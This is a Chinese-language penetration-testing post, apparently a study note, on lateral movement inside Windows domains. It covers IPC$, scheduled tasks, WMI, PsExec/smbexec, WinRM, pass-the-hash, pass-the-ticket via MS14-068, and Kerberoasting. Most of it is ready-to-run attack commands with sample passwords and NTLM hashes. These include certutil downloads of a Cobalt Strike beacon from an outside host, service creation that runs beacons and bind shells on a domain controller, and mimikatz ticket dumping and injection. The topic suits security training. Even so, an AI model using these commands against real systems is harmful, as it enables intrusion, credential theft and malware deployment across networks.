内网渗透-0x06 横向移动
2024-12-04 22:29:52 # 内网渗透

方法

IPC:IPC共享命名管道的资源,可以实现对远程计算机的访问,通过验证用户名和密码获得响应权限

使用工具:命令行net命令

SMB 会话:利用网络共享进行横向移动,通过 SMB 协议访问网络上的其他计算机。

使用工具:smbclient, crackmapexec

Windows 远程管理协议(WMI):通过 WMI 进行远程命令执行,横向渗透到目标机器。

使用工具:wmiexec.py, PowerShell Remoting

密码喷洒:爆破smb服务

使用工具:MSF

获取凭证:攻击者可能会利用 Pass-the-Hash(PTH) 攻击、Pass-the-Ticket(PTT) 攻击等技术来获取其他系统的访问权限。

使用工具:mimikatz, hashdump, secretsdump.py

Kerberos 票据劫持:通过获取或窃取 Kerberos 票据来访问其他机器或服务。

使用工具:Kerberos tickets, Ticket Extraction

IPC

只有域管理员才能开启IPC默认共享,默认共享是为了方便管理员远程管理而默认开启的共享,所以创建和连接都必须在管理员权限下操作,如果不是管理员会报权限错误。除此以外,也可以使用目标主机本地Administrator进行连接,但是该账户一般是停用的。

利用条件

1
2
3
1、目标机开启了139和445端口;
2、目标主机管理员开启了ipc$默认共享;
3、知道目标机的管理员账户密码。

基本连接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
建立IPC连接命令:
net use \\x.x.x.x\ipc$ "password" /user:"Administrator" #工作组
net use \server\ipc$ "password" /user:domain\username #域内

net use \192.168.4.2\ipc$ "Aa123456" /user:ysec\win10

查看连接是否建立
net use

查看目标主机的文件夹
dir \\x.x.x.x\c$

查看目标主机的文件
type \\x.x.x.x\c$\1.txt
查看目标主机的共享
net view x.x.x.x

查看目标主机的时间
net time \\x.x.x.x

断开连接:
net use \\x.x.x.x\ipc$ /del

报错代码解释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
错误号 5,拒绝访问【很可能你使用的用户不是管理员权限的,先提升权限】
错误号 51,Windows 无法找到网络路径【网络有问题】
错误号 53,找不到网络路径【ip 地址错误;目标未开机;目标 lanmanserver 服务未启动;目标有防火墙(端口过滤)】
错误号 67,找不到网络名【你的 lanmanworkstation 服务未启动;目标删除了 ipc$;】
错误号 1219,提供的凭据与已存在的凭据集冲突【你已经和对方建立了一个ipc$,请删除后再连】
错误号 1326,未知的用户名或错误密码【原因很明显了】
错误号 1385,登录失败:未授予用户在此计算机上的请求登录类型
---
情况1:可能是你在“拒绝从网络访问这台计算机”功能中拒绝了该用户的访问,解决方法如下:
开始-->运行-->gpedit.msc计算机配置-->Windows设置-->安全设置-->本地策略-->用户权利指派-->拒绝从网络访问这台计算机-->删除你要正常连接的用户
情况2:
(1)网络访问为:经典
(2)来宾账户状态:已启用,
(3)拒绝从网络访问这台计算机里有Guest用户或组
(4)你执行net use \\xxx.xxx.xxx.xxx\IPC$ "123456" /user:"xxx" 输入的用户名是随便输入的,这时也会遇到这个错误信息,因为当你连接的用户不存在时,net use会默认用Guest用户来进行连接,而Guest用户已拒绝从网络访问,所以也会出现这种错误
---
错误号 1792,试图登录,但是网络登录服务没有启动【目标NetLogon服务未启动[连接域控会出现此情况]】
错误号 2242,此用户的密码已经过期【目标有帐号策略,强制定期要求更改密码】

利用

1
2
3
4
// 建立连接
net use \server\ipc$ "password" /user:domain\username
// 上传木马
copy plugin_update.exe \\x.x.x.x\c$\windows\temp\plugin_update.exe

at < winserver2012

1
2
3
4
net time \\x.x.x.x
at \\x.x.x.x 12:10 c:\windows\temp\plugin_update.exe

// 推荐win08后都使用schtasks

schtasks >= winserver2012

1
2
3
4
5
6
7
8
9
10
11
创建计划任务
schtasks /create /tn "plugin_update" /tr c:\windows\temp\plugin_update.exe /sc once /st 22:58 /S 192.168.4.2 /RU System /u administrator /p "Aa123456"

立即执行计划任务
schtasks /run /tn "plugin_update" /S 192.168.1.1 /u administrator /p "Aa123456"

删除计划任务
schtasks /F /delete /tn "plugin_update" /S 192.168.1.1 /u administrator /p "Aa123456"

计划任务远程开启默认共享{注意查看目标主机时间}
schtasks /create /tn "plugin_update" /tr "cmd /c net share c$=c:" /sc once /st 16:25 /S 192.168.1.1 /RU System /u administrator /p "Aa123456"

除此以外还有sc创建服务,参考https://cloud.tencent.com/developer/article/1691880

对于上述内容均使用命令实现,整体不方便,下面介绍工具的使用

Atexec

1
2
3
4
5
6
7
// 明文密码
python atexec.py .\administrator:Admin12345@192.168.3.21 "whoami" # 本地明文建立IPC连接并执行命令
python atexec.py ysec\administrator:Admin12345@192.168.3.21 "whoami" # 域内主机建立IPC连接并执行命令

// administrator hash
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@192.168.3.21 "whoami" #本地用户使用hash进行IPC连接
python atexec.py -hashes :ccef208c6485269c20db2cad21734fe7 ysec/administrator@192.168.3.21 "whoami" #本地用户使用hash进行IPC连接

WMI

  1. 使用135端口,支持明文密码或者hash的方式进行认证,并且该方法不在日志留痕。
  2. 远程系统需要开启WMI服务开放135端口,wmic会以管理员权限在远程系统执行命令。
  3. 如果远程系统开启了防火墙,wmic将无法连接。
  4. wmic无回显时,需要使用ipc$和type读取信息。使用wmic执行恶意程序不会留下日志。

利用条件和注意事项

  1. 目标防火墙已事先允许135、445端口连入,且本地杀软、EDR未拦截wmic.exe,cmd.exe等执行;
  2. 有些域账户只允许在指定的域内机器上才可登录,所以如果发现账密是对的,却会提示 “拒绝访问” ;
  3. 出现提示”无效句柄” 之类的错误,可尝试把目标ip换成机器名或者把机器名换成ip,ip或机器名用双引号包起来;
  4. 当提示 “RPC服务器不可用”时,有可能是目标防火墙导致135端口不通,或者目标系统没开135端口,要么就是被对方杀软或EDR拦截。

wmic

系统自带工具,执行过程有单模式执行和交互式执行,可以只执行命令或者反弹shell
单命令执行,执行结果不回显时可以上传木马执行,上线CS

1
2
3
4
5
// 下载木马
wmic /node:192.168.4.2 /user:administrator /password:Aa123456 process call create "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"

// 执行木马
wmic /node:192.168.3.32 /user:administrator /password:admin!@#45 process call create "cmd.exe c:/beacon.exe"

使用模板如下,其中cmd.exe /c表示执行完后关闭控制台面板,没有/c表示保留界面

1
wmic /node:x.x.x.x /user:administrator /password:xx process call create "cmd.exe /c 命令"

命令执行写文件

1
2
wmic /node:191.168.52.136 /user:xxxx /password:xxxxx  process call create "cmd.exe /c ipconfig > d:\result.txt"
无需上传第三方软件,利用系统内置程序,单命令执行,执行后无结果回显

cscript

利用系统内置命令,可获取交互式shell
(无法在cs中使用,因运行成功后会一直进行反弹连接,导致卡bug)
需上传wmiexec.vbs然后进入该服务器内进行执行。
Wmiexec.vbs脚本通过VBS调用WMI来模拟PsExec功能。wmiexec.vbs可以在远程系统中执行命令并进行回显,获得远程主机的半交互式shell

1
cscript //nologo wmiexec.vbs /shell 10.211.55.10 administrator admin!@#45

缺点:wmic和cscript都无法进行hash传递

wmiexecu

第三方软件 (交互式&单执行)
无法在cs中执行后回显

1
2
3
4
5
6
wmiexec ./administrator:admin!@#45@10.211.55.10 "whoami"
wmiexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@10.211.55.10 "whoami"

// 上传木马上线
wmiexec ./administrator:admin!@#45@10.211.55.10 "cmd.exe /c certutil -urlcache -split -f http://10.211.55.7/beacon.exe c:/beacon.exe"
wmiexec ./administrator:admin!@#45@10.211.55.10 "cmd.exe /c c:/beacon.exe"

缺点:第三方软件会被杀软查杀

SMB

利用smb服务可以通过明文或hash传递来远程执行

利用条件

1
2
1、445端口开放
2、知道账号密码

psexec(官方)

下载:https://docs.microsoft.com/en-us/sysinternals/downloads/pstools

1
PsExec64.exe \\10.211.55.10 -u administrator -p admin!@#45 -s cmd

psexec(impacket套件)

可获取交互式shell使用工具为impacket套件,可使用hash传递

1
psexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@10.211.55.10

cs中的psexecu

image-20241204111506371

smbexec

交互式

1
2
3
4
smbexec ./administrator:admin!@#45@192.168.3.32
smbexec god/administrator:admin!@#45@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c ./administrator@192.168.3.32
smbexec -hashes :518b98ad4178a53695dc997aa02d455c god/administrator@192.168.3.32smbexec -hashes god/administrator:518b98ad4178a53695dc997aa02d455c@192.168.3.32

密码喷洒

使用msf对smb服务进行密码爆破,任意暴露

1
2
3
4
5
6
use windows/smb/psexec
msf6 exploit(windows/smb/psexec) > set payload windows/meterpreter/bind_tcp
msf6 exploit(windows/smb/psexec) > set smbuser user.txt
msf6 exploit(windows/smb/psexec) > set smbpass password.txt
msf6 exploit(windows/smb/psexec) > set rhost 192.168.52.0/24
msf6 exploit(windows/smb/psexec) > run

PTH - 哈希传递

Paaa the hash也就是哈希传递,通过找到与账号相关的密码散列值 (通常是 NTLM Hash) 来进行攻击。在域环境中,用户登录计算机时使用的大都是域账号,大量计算机在安装时会使用相同的本地管理员账号和密码。因此,如果计算机的本地管理员账号和密码也是相同的,攻击者就可以使用哈希传递的方法登录到内网主机的其他计算机。

利用条件

1
2
3
4
5
6
1、在工作组环境中:
Windows Vista 之前的机器,可以使用本地管理员组内用户进行攻击。
Windows Vista 之后的机器,只能是administrator用户的哈希值才能进行哈希传递攻击,其他用户(包括管理员用户但是非administrator)也不能使用哈希传递攻击,会提示拒绝访问
2、在域环境中:
只能是域管理员组内用户(可以是域管理员组内非administrator用户)的哈希值才能进行哈希传递攻击,攻击成功后,可以访问域内任何一台机器
如果要用普通域管理员账号进行哈希传递攻击,则需要修改修改目标机器的 LocalAccountTokenFilterPolicy为1

mimikatz+cs

使用cs的mimikatz进行pth,发现执行后在目标主机上弹出cmd窗口,可利用进程窃取,直接在cs上进行远程操作

1
2
3
4
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:administrator /domain:10.211.55.7 /ntlm:518b98ad4178a53695dc997aa02d455c
steal_token 3420
dir \\10.211.55.7\c$

可以看到运行mimikatz之后会生成的cmd进程

16303733945959

利用cs进程劫持,劫持cmd进程,然后可发现成功执行目标机命令

16303736699164

之后可复制文件,创建启动服务命令上线CS

1
2
3
4
net use \\10.211.55.7\c$
copy beacon.exe \\10.211.55.7\c$
sc \\TALE2B52 create csshell binpath= "c:\beacon.exe"
sc \\TALE2B52 start csshell

16303786151858

PTK - 密钥传递

即 Pass The Key ,当系统安装了 KB2871997 补丁且禁用了 NTLM 的时候,那我们抓取到的 ntlm hash. 也就失去了作用,但是可以通过 pass the key 的攻击方式获得权限。成功几率不是很高,利用条件苛刻。

利用条件

1
2
3
4
获取用户的aes key
mimikatz sekurlsa::ekeys
sekurlsa::pth /user:xxx /domain:xxx /aes256:xxxxxxxx"
成功后会返回一个cmd

16304852419244

16304870292958

PTT - 票据传递(ms14-068)

pass the ticket

利用条件

1
2
3
4
5
1.域控没有打MS14-068的补丁(KB3011780)
2.拿下一台加入域的计算机
3.有这台域内计算机的域用户密码和Sid

MS14-068是密钥分发中心(KDC)服务中的Windows漏洞。它允许经过身份验证的用户在其Kerberos票证(TGT)中插入任意PAC。该漏洞位于kdcsvc.dll域控制器的密钥分发中心(KDC)中。用户可以通过呈现具有改变的PAC的Kerberos TGT来获得票证.

利用过程

1
2
3
4
5
6
7
8
9
获取当前用户的SID值,并上传MS14-068漏洞利用文件,然后执行生成攻击域控主机的TGT凭据

shell whoami/user

upload "F:\tq\MS14-068.exe" "C:\ms14-068.exe"
shell /remotepath/ms14-068.exe -u user@ysec.com -s S-1-5-21-1218902331-2157346161-1782232778-1132 -d DC的IP -p admin!@#45

或者
ms14-068.exe -u lisi@goksec.org -p goksec@2021 -s S-1-5-21-1797401017-738776913-2751391128-1106 -d DC.goksec.org

16305529066120

16305529254258

1
2
3
4
5
6
# 获取当前主机票证
shell klist
# 然后清除票证
shell klist purge
# 使用mimikatz将生成的票证导入到内存中,不需要上传mimikatz
mimikatz kerberos::ptc TGT_webadmin@god.org.ccache

image-20241204155217561

注:Kerberos认证协议中仅支持对计算机名进行认证,无法使用ip地址认证。
使用下面命令进行读取域控c盘

1
shell dir \\主机名\c$

image-20241204155403149

接着转发上线即可

1
2
3
4
5
shell net use \\OWA2010CN-GOD\C$
shell copy dcbeacon.exe \\OWA2010CN-GOD\C$
shell sc \\OWA2010CN-GOD create 1dcbindshell binpath= "C:\dcbeacon.exe" // 需要等服务创建完成
shell sc \\OWA2010CN-GOD start 1dcbindshell
connect 域控IP

WINRM

WinRM代表 Windows 远程管理,是一种允许管理员远程执行系统管理任务的服务。默认情况下支持KerberosNTLM 身份验证以及基本身份验证。

利用条件

1
2
3
4
5
1、目标系统防火墙已事先允许5985(HTTP SOAP)或5986(HTTPS SOAP)端口连入(使用前先探测这两个端口)
2、双方都启用的Winrm rs的服务
3、使用此服务需要管理员级别凭据。
4、Windows2008以上版本默认自动状态,Windows Vista/win7上必须手动启动;Windows 2012之后的版本默认允许远程任意主机来管理。
5、目标系统本地杀软、EDR未拦截Winrs.exe、Powershell.exe,cmd.exe执行

利用

1
2
3
4
5
// 开启winrm服务
winrm quickconfig -q

// 查看服务
powershell Get-WmiObject -Class win32_service | Where-Object {$_.name -like "WinRM"}

image-20241204161658001

1
2
3
4
5
6
7
8
9
10
// 设置信任
winrm set winrm/config/Client @{TrustedHosts="*"}

// 连接执行命令
winrs -r:192.168.3.21 -u:192.168.3.21\administrator -p:admin!@#45 whoami

// 上传
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c certutil -urlcache -split -f http://192.168.3.31/beacon.exe c:/beacon.exe"
// 执行
winrs -r:192.168.3.32 -u:192.168.3.32\administrator -p:admin!@#45 "cmd.exe /c c:/beacon.exe"

Kerberoast SPN

攻击者从 TGS-REP 中提取加密的服务票证。由于服务票证是用链接到请求 SPN 的帐户的哈希加密的,所以攻击者可以离线破解这个加密块,恢复帐户的明文密码。

利用

使用普通域用户上线cs,通过setspn扫描0day.org该域,通过该命令可以获取该域内主机名、角色、安装的服务等信息,进而可攻击拥有特定服务漏洞的机器

1
2
setspn -T 0day.org -q */*
setspn -T 0day.org -q */* | findstr "MSSQL"

16318617677603

请求的Kerberos服务票证的加密类型默认无设置情况下为AES256_HMAC_SHA1,该加密方式无法破解
当管理员将加密类型改为RC4_HMAC_MD5时,意味着服务帐户的NTLM密码哈希用于加密服务票证,可以通过以下命令判断使用哪种加密类型

1
2
3
powershell Add-Type -AssemblyName System.IdentityModel

powershell New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/SqlServer.god.org:1433"

16318639025937

查看票证凭据发现当会话密钥类型为RC4_HMAC_MD5时,可进行票证导出破解

1
shell klist

16318646335903

使用mimikatz导出票据

1
mimikatz "kerberos::list /export"

下载破解脚本加载密码字典进行离线破解,需查找最容易包含弱密码的票据

1
python tgsrepcrack.py pass.txt "1-40a00000-jack@MSSQLSvc~Srv-DB-0day.0day.org~1433-0DAY.ORG.kirbi"

或者使用服务票据改写密码

1
2
python kerberoast.py -p Admin12345 -r 0DAY.ORG1.kirbi -w 0DAY.ORG.kirbi -u 500
python kerberoast.py -p Admin12345 -r 0DAY.ORG1.kirbi -w 0DAY.ORG.kirbi -g 512

使用以下Mimikatz命令将新票据重新注入内存,以便通过Kerberos协议对目标服务执行身份验证。

1
kerberos::ptt 0DAY.ORG.kirbi